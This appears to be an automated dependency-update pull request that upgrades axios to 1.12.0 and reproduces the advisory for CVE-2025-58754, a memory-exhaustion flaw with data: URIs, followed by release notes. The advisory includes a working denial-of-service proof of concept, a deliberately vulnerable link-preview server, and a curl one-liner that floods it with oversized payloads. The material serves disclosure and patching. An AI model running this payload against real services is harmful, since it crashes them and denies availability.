Update dependency axios to v1.12.0 [SECURITY]

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This PR contains the following updates:

Package	Type	Update	Change
axios (source)	dependencies	minor	1.8.2 -> 1.12.0

GitHub Vulnerability Alerts

CVE-2025-58754

Summary

When Axios runs on Node.js and is given a URL with the data: scheme, it does not perform HTTP. Instead, its Node http adapter decodes the entire payload into memory (Buffer/Blob) and returns a synthetic 200 response.
This path ignores maxContentLength / maxBodyLength (which only protect HTTP responses), so an attacker can supply a very large data: URI and cause the process to allocate unbounded memory and crash (DoS), even if the caller requested responseType: 'stream'.

Details

The Node adapter (lib/adapters/http.js) supports the data: scheme. When axios encounters a request whose URL starts with data:, it does not perform an HTTP request. Instead, it calls fromDataURI() to decode the Base64 payload into a Buffer or Blob.

Relevant code from [httpAdapter](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L231):

const fullPath = buildFullPath(config.baseURL, config.url, config.allowAbsoluteUrls);
const parsed = new URL(fullPath, platform.hasBrowserEnv ? platform.origin : undefined);
const protocol = parsed.protocol || supportedProtocols[0];

if (protocol === 'data:') {
  let convertedData;
  if (method !== 'GET') {
    return settle(resolve, reject, { status: 405, ... });
  }
  convertedData = fromDataURI(config.url, responseType === 'blob', {
    Blob: config.env && config.env.Blob
  });
  return settle(resolve, reject, { data: convertedData, status: 200, ... });
}

The decoder is in [lib/helpers/fromDataURI.js](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/helpers/fromDataURI.js#L27):

export default function fromDataURI(uri, asBlob, options) {
  ...
  if (protocol === 'data') {
    uri = protocol.length ? uri.slice(protocol.length + 1) : uri;
    const match = DATA_URL_PATTERN.exec(uri);
    ...
    const body = match[3];
    const buffer = Buffer.from(decodeURIComponent(body), isBase64 ? 'base64' : 'utf8');
    if (asBlob) { return new _Blob([buffer], {type: mime}); }
    return buffer;
  }
  throw new AxiosError('Unsupported protocol ' + protocol, ...);
}

• The function decodes the entire Base64 payload into a Buffer with no size limits or sanity checks.
• It does not honour config.maxContentLength or config.maxBodyLength, which only apply to HTTP streams.
• As a result, a data: URI of arbitrary size can cause the Node process to allocate the entire content into memory.

In comparison, normal HTTP responses are monitored for size, the HTTP adapter accumulates the response into a buffer and will reject when totalResponseBytes exceeds [maxContentLength](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L550). No such check occurs for data: URIs.

PoC

const axios = require('axios');

async function main() {
  // this example decodes ~120 MB
  const base64Size = 160_000_000; // 120 MB after decoding
  const base64 = 'A'.repeat(base64Size);
  const uri = 'data:application/octet-stream;base64,' + base64;

  console.log('Generating URI with base64 length:', base64.length);
  const response = await axios.get(uri, {
    responseType: 'arraybuffer'
  });

  console.log('Received bytes:', response.data.length);
}

main().catch(err => {
  console.error('Error:', err.message);
});

Run with limited heap to force a crash:

node --max-old-space-size=100 poc.js

Since Node heap is capped at 100 MB, the process terminates with an out-of-memory error:

<--- Last few GCs --->
…
FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory
1: 0x… node::Abort() …
…

Mini Real App PoC:
A small link-preview service that uses axios streaming, keep-alive agents, timeouts, and a JSON body. It allows data: URLs which axios fully ignore maxContentLength , maxBodyLength and decodes into memory on Node before streaming enabling DoS.

import express from "express";
import morgan from "morgan";
import axios from "axios";
import http from "node:http";
import https from "node:https";
import { PassThrough } from "node:stream";

const keepAlive = true;
const httpAgent = new http.Agent({ keepAlive, maxSockets: 100 });
const httpsAgent = new https.Agent({ keepAlive, maxSockets: 100 });
const axiosClient = axios.create({
  timeout: 10000,
  maxRedirects: 5,
  httpAgent, httpsAgent,
  headers: { "User-Agent": "axios-poc-link-preview/0.1 (+node)" },
  validateStatus: c => c >= 200 && c < 400
});

const app = express();
const PORT = Number(process.env.PORT || 8081);
const BODY_LIMIT = process.env.MAX_CLIENT_BODY || "50mb";

app.use(express.json({ limit: BODY_LIMIT }));
app.use(morgan("combined"));

app.get("/healthz", (req,res)=>res.send("ok"));

/**
 * POST /preview { "url": "<http|https|data URL>" }
 * Uses axios streaming but if url is data:, axios fully decodes into memory first (DoS vector).
 */

app.post("/preview", async (req, res) => {
  const url = req.body?.url;
  if (!url) return res.status(400).json({ error: "missing url" });

  let u;
  try { u = new URL(String(url)); } catch { return res.status(400).json({ error: "invalid url" }); }

  // Developer allows using data:// in the allowlist
  const allowed = new Set(["http:", "https:", "data:"]);
  if (!allowed.has(u.protocol)) return res.status(400).json({ error: "unsupported scheme" });

  const controller = new AbortController();
  const onClose = () => controller.abort();
  res.on("close", onClose);

  const before = process.memoryUsage().heapUsed;

  try {
    const r = await axiosClient.get(u.toString(), {
      responseType: "stream",
      maxContentLength: 8 * 1024, // Axios will ignore this for data:
      maxBodyLength: 8 * 1024,    // Axios will ignore this for data:
      signal: controller.signal
    });

    // stream only the first 64KB back
    const cap = 64 * 1024;
    let sent = 0;
    const limiter = new PassThrough();
    r.data.on("data", (chunk) => {
      if (sent + chunk.length > cap) { limiter.end(); r.data.destroy(); }
      else { sent += chunk.length; limiter.write(chunk); }
    });
    r.data.on("end", () => limiter.end());
    r.data.on("error", (e) => limiter.destroy(e));

    const after = process.memoryUsage().heapUsed;
    res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2));
    limiter.pipe(res);
  } catch (err) {
    const after = process.memoryUsage().heapUsed;
    res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2));
    res.status(502).json({ error: String(err?.message || err) });
  } finally {
    res.off("close", onClose);
  }
});

app.listen(PORT, () => {
  console.log(`axios-poc-link-preview listening on http://0.0.0.0:${PORT}`);
  console.log(`Heap cap via NODE_OPTIONS, JSON limit via MAX_CLIENT_BODY (default ${BODY_LIMIT}).`);
});

Run this app and send 3 post requests:

SIZE_MB=35 node -e 'const n=+process.env.SIZE_MB*1024*1024; const b=Buffer.alloc(n,65).toString("base64"); process.stdout.write(JSON.stringify({url:"data:application/octet-stream;base64,"+b}))' \
| tee payload.json >/dev/null
seq 1 3 | xargs -P3 -I{} curl -sS -X POST "$URL" -H 'Content-Type: application/json' --data-binary @​payload.json -o /dev/null```

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Suggestions

1. Enforce size limits
   For protocol === 'data:', inspect the length of the Base64 payload before decoding. If config.maxContentLength or config.maxBodyLength is set, reject URIs whose payload exceeds the limit.

2. Stream decoding
   Instead of decoding the entire payload in one Buffer.from call, decode the Base64 string in chunks using a streaming Base64 decoder. This would allow the application to process the data incrementally and abort if it grows too large.

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Release Notes

axios/axios (axios)

v1.12.0

Compare Source

Bug Fixes

• adding build artifacts (9ec86de)
• dont add dist on release (a2edc36)
• fetch-adapter: set correct Content-Type for Node FormData (#​6998) (a9f47af)
• node: enforce maxContentLength for data: URLs (#​7011) (945435f)
• package exports (#​5627) (aa78ac2)
• params: removing '[' and ']' from URL encode exclude characters (#​3316) (#​5715) (6d84189)
• release pr run (fd7f404)
• types: change the type guard on isCancel (#​5595) (0dbb7fd)

Features

• adapter: surface low‑level network error details; attach original error via cause (#​6982) (78b290c)
• fetch: add fetch, Request, Response env config variables for the adapter; (#​7003) (c959ff2)
• support reviver on JSON.parse (#​5926) (2a97634), closes #​5924
• types: extend AxiosResponse interface to include custom headers type (#​6782) (7960d34)

Contributors to this release

• Willian Agostini
• Dmitriy Mozgovoy
• khani
• Ameer Assadi
• Emiedonmokumo Dick-Boro
• Zeroday BYTE
• Jason Saayman
• 최예찬
• Gligor Kotushevski
• Aleksandar Dimitrov

v1.11.0

Compare Source

Bug Fixes

• form-data npm pakcage (#​6970) (e72c193)
• prevent RangeError when using large Buffers (#​6961) (a2214ca)
• types: resolve type discrepancies between ESM and CJS TypeScript declaration files (#​6956) (8517aa1)

Contributors to this release

• izzy goldman
• Manish Sahani
• Noritaka Kobayashi
• James Nail
• Tejaswi1305

v1.10.0

Compare Source

Bug Fixes

• adapter: pass fetchOptions to fetch function (#​6883) (0f50af8)
• form-data: convert boolean values to strings in FormData serialization (#​6917) (5064b10)
• package: add module entry point for React Native; (#​6933) (3d343b8)

Features

• types: improved fetchOptions interface (#​6867) (63f1fce)

Contributors to this release

• Dmitriy Mozgovoy
• Noritaka Kobayashi
• Dimitrios Lazanas
• Adrian Knapp
• Howie Zhao
• Uhyeon Park
• Sampo Silvennoinen

v1.9.0

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Bug Fixes

• core: fix the Axios constructor implementation to treat the config argument as optional; (#​6881) (6c5d4cd)
• fetch: fixed ERR_NETWORK mapping for Safari browsers; (#​6767) (dfe8411)
• headers: allow iterable objects to be a data source for the set method; (#​6873) (1b1f9cc)
• headers: fix getSetCookie by using 'get' method for caseless access; (#​6874) (d4f7df4)
• headers: fixed support for setting multiple header values from an iterated source; (#​6885) (f7a3b5e)
• http: send minimal end multipart boundary (#​6661) (987d2e2)
• types: fix autocomplete for adapter config (#​6855) (e61a893)

Features

• AxiosHeaders: add getSetCookie method to retrieve set-cookie headers values (#​5707) (80ea756)

Contributors to this release

• Dmitriy Mozgovoy
• Jay
• Willian Agostini
• George Cheng
• FatahChan
• Ionuț G. Stan

1.8.4 (2025-03-19)

Bug Fixes

• buildFullPath: handle allowAbsoluteUrls: false without baseURL (#​6833) (f10c2e0)

Contributors to this release

• Marc Hassan

1.8.3 (2025-03-10)

Bug Fixes

• add missing type for allowAbsoluteUrls (#​6818) (10fa70e)
• xhr/fetch: pass allowAbsoluteUrls to buildFullPath in xhr and fetch adapters (#​6814) (ec159e5)

Contributors to this release

• Ashcon Partovi
• StefanBRas
• Marc Hassan

1.8.2 (2025-03-07)

Bug Fixes

• http-adapter: add allowAbsoluteUrls to path building (#​6810) (fb8eec2)

Contributors to this release

• Fasoro-Joseph Alexander

1.8.1 (2025-02-26)

Bug Fixes

• utils: move generateString to platform utils to avoid importing crypto module into client builds; (#​6789) (36a5a62)

Contributors to this release

• Dmitriy Mozgovoy

v1.8.4

Compare Source

Bug Fixes

• buildFullPath: handle allowAbsoluteUrls: false without baseURL (#​6833) (f10c2e0)

Contributors to this release

• Marc Hassan

v1.8.3

Compare Source

Bug Fixes

• add missing type for allowAbsoluteUrls (#​6818) (10fa70e)
• xhr/fetch: pass allowAbsoluteUrls to buildFullPath in xhr and fetch adapters (#​6814) (ec159e5)

Contributors to this release

• Ashcon Partovi
• StefanBRas
• Marc Hassan

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